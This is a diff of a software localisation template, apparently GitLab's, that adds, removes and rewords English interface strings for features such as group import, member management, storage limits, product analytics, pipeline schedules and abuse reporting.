@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
